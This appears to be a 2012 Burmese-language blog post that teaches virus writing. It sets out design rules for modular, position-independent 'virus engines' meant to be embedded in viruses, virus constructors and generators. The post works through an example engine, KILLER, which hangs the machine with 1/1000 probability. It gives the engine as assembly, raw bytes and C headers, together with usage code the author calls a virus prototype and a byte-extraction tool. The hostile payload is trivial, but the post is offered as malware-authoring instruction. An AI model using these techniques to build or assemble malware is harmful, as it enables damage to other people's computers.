VIRUS ENGINES

Monday, March 26, 20120 comments

က်ေနာ္ post ေတြမတင္ျဖစ္တာ နဲနဲေတာ့ၾကာေနပါျပီ... လာလည္ၾကတဲ႔ လာအားေပးတဲ႔သူေတြကို အားနာလို႔ ေန႔တိုင္း post တစ္ခုေလာက္ တင္ျဖစ္ေအာင္ ၾကိဳးစားမယ္ဆိုတဲ႔ စိတ္ကူးရွိေပမယ့္လည္း မတင္ျဖစ္ခဲ႔ပါဘူး...။
အခုတစ္ေလာ hacking ပိုင္းေတြပဲ ေရးျဖစ္ေနျပီး virus ေရးသားနည္းေတြနဲ႔ ပတ္သက္တာကို မတင္ျဖစ္တာ ၾကာပါျပီ... ဒါေၾကာင့္ Virus ေရးသားနည္းကုိ ေလ့လာသူမ်ားအတြက္ အဆင္ေျပေစဖို႔ ဒီ post ကို တင္ေပးလုိက္ပါတယ္။


ENGINES

Engines ဆိုတာကေတာ့ binary နဲ႔ source ေတြကို ကိုယ္စားျပဳတဲ႔ လြတ္လပ္တဲ႔ viurs ေရးသားနည္း တစ္ခုျဖစ္ပါတယ္။
 
မိတ္ဆက္

Virus Engine ေတြဟာ C/C++ class ( object ) ေတြနဲ႔ အလြန္ပင္ဆင္တူၾကျပီး၊ တူညီတဲ႔ ဂုဏ္သတၱိေတြလည္း အမ်ားၾကီးရွိၾကပါတယ္။ ဒီဟာႏွစ္ခုလံုးဟာ modularity ကို တိုက္ရိုက္သြားပါတယ္။ တစ္ခုပဲ ကြာျခားမႈရွိတာပါတယ္... အဲဒါကေတာ့ Virus Engine က တိုက္ရိုက္ အေကာင္အထည္ေဖာ္ႏိုင္ျပီး C++ class ကေတာ့ ၾကားခံေပါင္းကူးေပးတဲ႔စနစ္က မ်ားျပားလွပါတယ္။
OOP (Object Oriented Programming ) ကို မိတ္ဆက္ေပးခဲ႔ျပီးသည္ကစလို႔ ယေန႔ဆိုရင္ Virus Engines ဟာ ႏွစ္ေပါင္းမ်ားစြာၾကာခဲ႔ျပီျဖစ္တဲ႔ Programs ေတြကဲ႔သို႔ တူညီတဲ႔ အဆင့္ကို ေရာက္ရွိလာပါျပီ။ ျပီးေတာ့ ယခုအခ်ိန္ဟာ ေျပာင္းလဲဖို႔အခ်ိန္လည္း ျဖစ္ေနပါျပီ။
ဒီ post ရဲ႕ လိုရင္းကေတာ့ Virus Engine ရဲ႕ အဆင္ေျပျပီး အသံုး၀င္တဲ႔ လကၡဏာရပ္ေတြကို ေဖာ္ျပေပးသြားမွာ ျဖစ္ပါတယ္။
Virus ေရးသားျခင္းမွာ လြတ္လပ္တဲ႔ေရးသားနည္းအစိတ္အပိုင္း(modules) မ်ားကို နားလည္ျပီးမွသာလွ်င္ ဒီထဲမွာပါတဲ႔ အေတြးအေခၚပိုင္းကို နားလည္နိုင္မွာျဖစ္ပါတယ္။ဒါ့အျပင္ ဒီpostထဲမွာ LDE32, KME's, ETG, CMIX, DSCRIPT, EXPO, RPME, CODEGEN, PRCG, MACHO နဲ႔ MISTFALL တို႔ရဲ႕ property အားလံုးနီးပါးကို ဒီpostတစ္ခုတည္းနဲ႔ ေဖာ္ျပေပးျပီးသား ျဖစ္သြားမွာ ျဖစ္ပါတယ္။ဒါေတာင္မွ အေရးၾကီးတဲ႔ စံသတ္မွတ္မႈေတြ အားလံုးကို ေဖာ္ျပထားတာမဟုတ္ပဲ စံသတ္မွတ္ဖို႔အတြက္ အနည္းငယ္ကိုသာ ေဖာ္ျပဖို႔ ၾကိဳးစားထားတာ ျဖစ္ပါတယ္။ ဒီေနရာမွာ စံသတ္မွတ္မႈဆိုတာ Engine ရဲ႕ ၾကားခံေပါင္းကူးစနစ္အပို္င္းမွာ လံုး၀နီးပါး သက္ေရာက္လႊမ္းမိုးမႈေတြကို ဆိုလိုတာျဖစ္ျပီး က်န္တဲ႔အပိုင္းေတြက အမ်ားအားျဖင့္ေတာ့ တူညီေနမွာ ျဖစ္ပါတယ္။ ေသခ်ာတာကေတာ့ အလုပ္လုပ္တာခ်င္း တူညီမႈရွိမွာမဟုတ္ပါဘူး။


Code

  • Engine မွာ executable code ေတြသာလွ်င္ ပါ၀င္ရပါမယ္။ ဆိုလိုတာကေတာ့ evident formေတြမွာ data ေတြမပါ၀င္ရပါဘူး။ ၄င္းဟာ code generation ထဲမွာ data ရဲ႕ means အားျဖင့္ စြမ္းေဆာင္ႏိုင္ရပါမယ္။
  • Engine မွာ absolute offset မ်ား မပါ၀င္ရပါဘူး။ ၄င္းဟာ stack နဲ႔ ဒီ structureသို႔ pointer ေျပာင္းေရႊ႕ လိုက္တဲ႔ ေပၚမွာ data structure ဖန္တီးျခင္းရဲ႕ means အားျဖင့္ စြမ္းေဆာင္ႏိုင္ရပါမယ္။
  • Engine မွာ external data structureမ်ား ကို တိုက္ရုိက္အသံုးမျပဳရပါဘူး။ external subroutineမ်ားကို တိုက္ရုိက္ CALL မလုပ္ရပါဘူး။ ၄င္းအစား data နဲ႔ suboroutineမ်ားသို႔ pointerမ်ားကို argumentမ်ားကဲ့သို႔ engine ဆီကို ျဖတ္ေက်ာ္လာေစရပါမယ္။
  • (ေရြးခ်ယ္မႈတစ္ခုအေနနဲ႔)Engine ကုိ system callမ်ား မျပဳလုပ္ေစရပါဘူး။ အဲဒီအစား own subroutineမ်ားသို႔ pointer မ်ားဟာ engine ကိုျဖတ္ေက်ာ္ရပါမယ္။ ျပီးရင္ engine က ၄င္းတို႔ကို ျဖတ္ေက်ာ္ျပီး system subroutine မ်ားကို CALL လုပ္ရပါမယ္။


PUBLIC-functions

  • Parameterမ်ားဟာ stack ေပၚမွာ ျဖတ္ေက်ာ္ေစရပါမယ္။ ( registerမ်ားထဲမွာ မဟုတ္ပါ။)
  • Function result ဟာ( လိုအပ္လွ်င္) EAX ထဲမွာ return ျဖစ္ရပါမယ္။
  • registerမ်ားအားလံုးကို ထိန္းသိမ္းထားရပါမယ္( EAX မွလြဲ၍)။
  • (ေရြးခ်ယ္မႈတစ္ခုအေနနဲ႔) function exit ေပၚမွာ DF flagဟာ 0 (သံုည) ျဖစ္ေစရပါမယ္။ (CLD)
Sources

  • အကယ္၍ Sourceမ်ား ရွိခဲ႔ရင္ Variables, arguments, constants, internal subroutines နဲ႔ အျခား name နဲ႔ lable မ်ားဟာ unique ျဖစ္ရပါမယ္။ user ရဲ႕ sourceမ်ား (သို႔) အျခား engineမ်ားထဲမွ label မ်ားနဲ႔ တထပ္တည္း မျဖစ္ေစရပါဘူး။
  • အကယ္၍ အခ်ိဳ႕ေသာ data structureမ်ား နဲ႔/သို႔ exit codes , engine call ထဲမွာ အသံုးျပဳျခင္း ရွိရင္ ၄င္းတို႔အားလံုးကို သီးျခား .INC file ထဲမွာ ေဖာ္ျပရပါမယ္။
Documentation

  • Engineဟာ documentionအခ်ိဳ႕ အားျဖင့္ ခ်ိတ္ဆက္ရပါမယ္။ ေအာက္မွာျပထားတဲ႔ဟာေတြလိုပဲ ေဖာ္ျပသင့္ပါတယ္...
  • Engine ၊ ၄င္းရဲ႕ algorithm ၊ ၄င္းရဲ႕ အဓိကရည္ရြယ္ခ်က္ ။ ဆိုလိုတာကေတာ့ ၄င္းဟာ ဘာအတြက္ရည္ရြယ္ျပီး ဘယ္လိုေတြ အလုပ္လုပ္သလဲ၊
  • PUBLIC-function အသီးသီးရဲ႕ ေဖာ္ျပခ်က္ နဲ႔ ၄င္းရဲ႕ parameter မ်ား၊
  • (ေရြးခ်ယ္မႈအားျဖင့္) bug မ်ား နဲ႔ အဂၤါရပ္မ်ား၊
  • (ေရြးခ်ယ္မႈအားျဖင့္) engine ကို ဘယ္မွာစမ္းသပ္ျပီးျပီလဲ၊ ၄င္းက ဘယ္မွအလုပ္လုပ္လဲ ၊ မလုပ္ဘူးလဲ။
အေကာင္းဆံုး နည္းလမ္း

  • Engine မွာ PUBLIC-function တစ္ခုတည္း ရွိပါတယ္။ engine ရဲ႕ code အစပုိင္းမွာ( အလယ္မွာျဖစ္ခ်င္ရင္ အစမွာ JMP ကိုသံုး။) ျဖစ္ျပီး ၄င္းရဲ႕ main function မွာ CDECL calling convection (PUSH*n, CALL, RETN, ADD ESP, n*4 ) ရွိပါတယ္။
  • Engine ဟာ on-stack data variableမ်ားကိုသာ အသံုးျပဳပါတယ္။ (argument မ်ားနဲ႔ variables space)
  • Engine ဟာ multithread enviroument ထဲမွာ အလုပ္လုပ္ပါတယ္။ (ဆိုလိုတာကေတာ့ external data structure မ်ားသို႔ pointer မ်ားဟာ engine ဆီကို ျဖတ္ေက်ာ္လာတဲ႔အခါ engine ရဲ႕ တိုးပြားလာတဲ႔ျဖစ္စဥ္ေတြဟာ အဲဒီ့ data structureမ်ားနဲ႔ မွန္မွန္ကန္ကန္ အလုပ္လုပ္ပါလိမ့္မယ္။)
  • Engine ဟာ .386 realmode opcodeမ်ားကို သာလွ်င္အသံုးျပဳပါတယ္။ (ဆိုလိုတာက အားလံုးတစ္ပန္းသာတယ္ (သို႔) .486+ opcodeမ်ား ၊ bswap (သို႔) cmpxchg ကဲ႔သို႔ ပ လပ္ႏိုင္တယ္။)
အက်ိဳးရလဒ္မ်ား

အထက္မွာေဖာ္ျပခဲ႔တဲ႔ အဂၤါရပ္မ်ား အားလံုးကိုအသံုးျပဳျခင္းအားျဖင့္ engine code ဟာ OS ၊ ring0/3 နဲ႔ engine တည္ရွိရာ offset မွ လြတ္ေျမာက္လာႏိုင္ပါလိမ့္မယ္။ code ကဲ႔သို႔ ေပါင္းစပ္ႏိုင္ပါလိမ့္မယ္...ဆိုလိုတာကေတာ့ ဘယ္ညႊန္ၾကားခ်က္မ်ားကိုမဆို အလြယ္တကူ စိစစ္ႏိုင္ျခင္း၊ ဖယ္ရွားႏိုင္ျခင္း နဲ႔/သို႔ အစားထိုးလဲလွယ္နိုင္ျခင္းမ်ား ျပဳလုပ္ႏိုင္ပါတယ္။ ဒီလိုမ်ား engineမ်ားရဲ႕ Code (သို႔) sourceမ်ားကို အျခား ဘယ္engineမ်ားမွာမဆို (သို႔) viruseမ်ား၊ virus constructorမ်ား (သို႔) generatorမ်ား (သို႔) virus pluginမ်ား ထဲသို႔ေျပာင္းထည့္ျခင္းမ်ား အားျဖင့္ လြယ္ကူစြာအသံုးျပဳႏိုင္ပါတယ္။
ဒါ့အျပင္ asm- ၊ cpp- code မ်ားနဲ႔ ခ်ိတ္ဆက္ထားတဲ႔ လုပ္ငန္းတာ၀န္မ်ားကိုလည္း .obj fileမ်ား အသံုးမျပဳပဲ ေျဖရွင္းႏိုင္ပါတယ္။
 
ဥပမာ

Engine : KILLER ။ ရည္မွန္းခ်က္ပန္းတိုင္ : 1/1000 ရဲ႕ ျဖစ္ႏိုင္ေျခနဲ႔ ဟန္႔တားထစ္ေနေစဖို႔ ။


----[begin KILLER.ASM]--------------------------------------------------

; KILLER engine version 1.00 FREEWARE

; action: hangup with probability of 1/1000;

; CDECL calling convention;

; 5 arguments;

; no return value, no registers modified

killer_engine           proc    c

                    arg     user_param  ; user-data

                    arg     user_random ; external randomer

                    arg     arg1

                    arg     arg2        ; other parameters

                    arg     arg3

                    pusha

                    cld

                    ;;

                    push    1000

                    push    user_param  ; maybe ptr to some struct

                    call    user_random ; call external subroutine

                    add     esp, 8

                    ;;

                    cmp     eax, 666

                    je      $

                    ;;

                    popa

                    ret                 ; TASM produces LEAVE+RETN

                    endp

----[end KILLER.ASM]----------------------------------------------------
ASM include file ျဖစ္ေပၚေစပါတယ္...:

----[begin KILLER.INC]--------------------------------------------------

; GENERATED FILE. DO NOT EDIT.

; KILLER 1.00 engine

killer_engine_size equ 30

killer_engine:

db 0C8h,000h,000h,000h,060h,0FCh,068h,0E8h

db 003h,000h,000h,0FFh,075h,008h,0FFh,055h

db 00Ch,083h,0C4h,008h,03Dh,09Ah,002h,000h

db 000h,074h,0FEh,061h,0C9h,0C3h

----[end KILLER.INC]----------------------------------------------------
ေအာက္မွာေဖာ္ျပထားတာကလည္း အတူတူပါပဲ...ဒါေပမယ့္ C/C++ ထဲမွာ :

----[begin KILLER.CPP]--------------------------------------------------

// GENERATED FILE. DO NOT EDIT.

// KILLER 1.00 engine

#define killer_engine_size 30

BYTE killer_engine_bin[killer_engine_size] =

{

0xC8,0x00,0x00,0x00,0x60,0xFC,0x68,0xE8,

0x03,0x00,0x00,0xFF,0x75,0x08,0xFF,0x55,

0x0C,0x83,0xC4,0x08,0x3D,0x9A,0x02,0x00,

0x00,0x74,0xFE,0x61,0xC9,0xC3

};

----[end KILLER.CPP]----------------------------------------------------

----[begin KILLER.ASH]--------------------------------------------------

; KILLER 1.00 engine

KILLER_VERSION          equ     0100h

----[end KILLER.ASH]----------------------------------------------------
C/C++ header file:



----[begin KILLER.HPP]--------------------------------------------------

// KILLER 1.00 engine

#ifndef __KILLER_HPP__

#define __KILLER_HPP__



#define KILLER_VERSION  0x0100



typedef

void __cdecl killer_engine(

            DWORD   user_param,             // user-parameter

            DWORD __cdecl user_random(DWORD user_param, DWORD range),

            DWORD   arg1,

            DWORD   arg2,

            DWORD   arg3);



#endif //__KILLER_HPP__

----[end KILLER.HPP]----------------------------------------------------
အသံုးျပဳပံု ဥပမာ ၊ ASM ထဲတြင္...



----[begin EXAMPLE.ASM]-------------------------------------------------

; KILLER 1.00 usage example

include                 killer.ash



callW                   macro   x

                    extern  x:PROC

                    call    x

                    endm



v_data                  struc

v_randseed              dd      ?

;                       ...

                    ends



                    p386

                    model   flat

                    locals  __



                    .data

                    dd      ?

                    .code



start:                  call    virus_code

                    push    -1

                    callW   ExitProcess



virus_code:             pusha

                    sub     esp, size v_data

                    mov     ebp, esp

                    ;;

                    callW   GetTickCount

                    xor     [ebp].v_randseed, eax  ; randomize

                    ;;

                    push    3

                    push    2           ; parameters

                    push    1

                    call    5+2       ; push pointer to randomer

                    jmp     short my_random

                    push    ebp         ; user-param == v_data ptr

                    call    killer_engine

                    add     esp, 4*5

                    ;;

                    add     esp, size v_data

                    popa

                    retn



; DWORD __cdecl random(DWORD user_param, DWORD range)

;                       [esp+4]        [esp+8]

my_random:              mov     ecx, [esp+4]   ; v_data ptr

                    mov     eax, [ecx].v_randseed

                    imul    eax, 214013

                    add     eax, 2531011

                    mov     [ecx].v_randseed, eax

                    shr     eax, 16

                    imul    eax, [esp+8]

                    shr     eax, 16

                    retn



;killer_engine:

include                 killer.inc



virus_size              equ     $-virus_code

                    end     start

----[end EXAMPLE.ASM]---------------------------------------------------
အသံုးျပဳပံု ဥပမာ၊ C/C++ ထဲတြင္...



----[begin EXAMPLE.CPP]-------------------------------------------------

#include <windows.h>

#pragma hdrstop

#include "killer.hpp"

#include "killer.cpp"

struct v_struct

{

DWORD rseed;

//...

};

DWORD __cdecl my_random(DWORD user_arg, DWORD range)

{

v_struct* v = (v_struct*) user_arg;

return range ? (v->rseed = v->rseed * 214013 + 2531011) % range : 0;

}

void main()

{

v_struct* v_data = (v_struct*) GlobalAlloc( GPTR, sizeof(v_struct) );

v_data->rseed = GetTickCount();  // randomize

void* engine_ptr = &killer_engine_bin;

(*(killer_engine*)engine_ptr)((DWORD)v_data, my_random, 1,2,3);

}

----[end EXAMPLE.CPP]---------------------------------------------------
engine ကို compileျပဳလုပ္ရန္ ဥပမာ program



----[begin BUILD.ASM]---------------------------------------------------

                    p386

                    model   flat

                    locals  __

                    .data

                    db      0EBh,02h,0FFh,01h       ; signature

include                 killer.asm

                    db      0EBh,02h,0FFh,02h       ; signature

                    .code

start:                  push    -1

                    callW   ExitProcess

                    end     start

----[end BUILD.ASM]-----------------------------------------------------
ယခင္ file မွ binary(DB,DB,...)ထဲတြင္ rip ျဖစ္ဖို႔ ဥပမာ program



----[begin HAXOR.CPP]---------------------------------------------------

#include <windows.h>

#include <stdio.h>

#include <stdlib.h>

#include <io.h>

#pragma hdrstop

void main()

{

FILE*f=fopen("build.exe","rb");

int bufsize = filelength(fileno(f));

BYTE* buf = new BYTE[bufsize+1];

fread(buf, 1,bufsize, f);

fclose(f);

int id1=0, id2=0;

for (int i=0; i<bufsize; i++)

{

if (*(DWORD*)&buf[i] == 0x01FF02EB) id1=i+4;        // check signature

if (*(DWORD*)&buf[i] == 0x02FF02EB) id2=i;          // check signature

}

f=fopen("killer.inc","wb");

fprintf(f,"; GENERATED FILE. DO NOT EDIT.\r\n");

fprintf(f,"; KILLER 1.00 engine\r\n");

fprintf(f,"killer_size equ %i\r\n", id2-id1);

fprintf(f,"killer_engine:\r\n", id2-id1);

for (int i=0; i<id2-id1; i++)

{

if ((i%8)==0) fprintf(f,"db ");

fprintf(f,"0%02Xh", buf[id1+i]);

if (((i%8)==7)||(i==id2-id1-1)) fprintf(f,"\r\n"); else fprintf(f,",");

}

fclose(f);

f=fopen("killer.cpp","wb");

fprintf(f,"; GENERATED FILE. DO NOT EDIT.\r\n");

fprintf(f,"// KILLER 1.00 engine\r\n");

fprintf(f,"#define killer_engine_size %i\r\n",id2-id1);

fprintf(f,"BYTE killer_engine_bin[killer_engine_size] = {\r\n");

for (int i=0; i<id2-id1; i++)

{

if ((i%8)==0) fprintf(f,"  ");

fprintf(f,"0x%02X", buf[id1+i]);

if (i!=id2-id1-1) fprintf(f,",");

if ((i%8)==7) fprintf(f,"\r\n");

}

fprintf(f," };\r\n");

fclose(f);

}

----[end HAXOR.CPP]-----------------------------------------------------

အခု example.asm ကိုၾကည့္ ၾကည့္ပါ ၄င္းဟာ ယခုေခတ္အသံုးျပဳေနတဲ႔ virus ေရွ႕ေျပးပံုစံတစ္ခုျဖစ္ပါတယ္။ အဲဒီfile မွာ engine အသံုးျပဳပါတယ္။ engineဟာ external randomer အသံုးျပီး randomer က virus ရဲ႕ main body ကို အသံုးျပဳဖို႔ျပင္ဆင္ျခင္းမွာ data ကိုဖ်တ္ထားတဲ႔ randseed ကိုအသံုးျပဳပါတယ္။ အက်ိဳးရလဒ္ကေတာ့ engine မ်ားဟာ တူညီတဲ႔ rnd() (သို႔) file io functionမ်ား (သို႔) main object နဲ႔တူညီတဲ႔ ၄င္းတို႔ရဲ႕ common structure မွတဆင့္ နည္းလမ္းတစ္ခုျဖင့္ အျခားအသီးသီးကို ေခၚႏိုင္ပါတယ္။

(Educational Purposes Only)
Share this article :

Post a Comment

 
Support : Creating Website | Johny Template | Mas Template
Copyright © 2011. ထီဖိုးစံ (စော) - All Rights Reserved
Template Created by Creating Website Published by Mas Template
Proudly powered by Blogger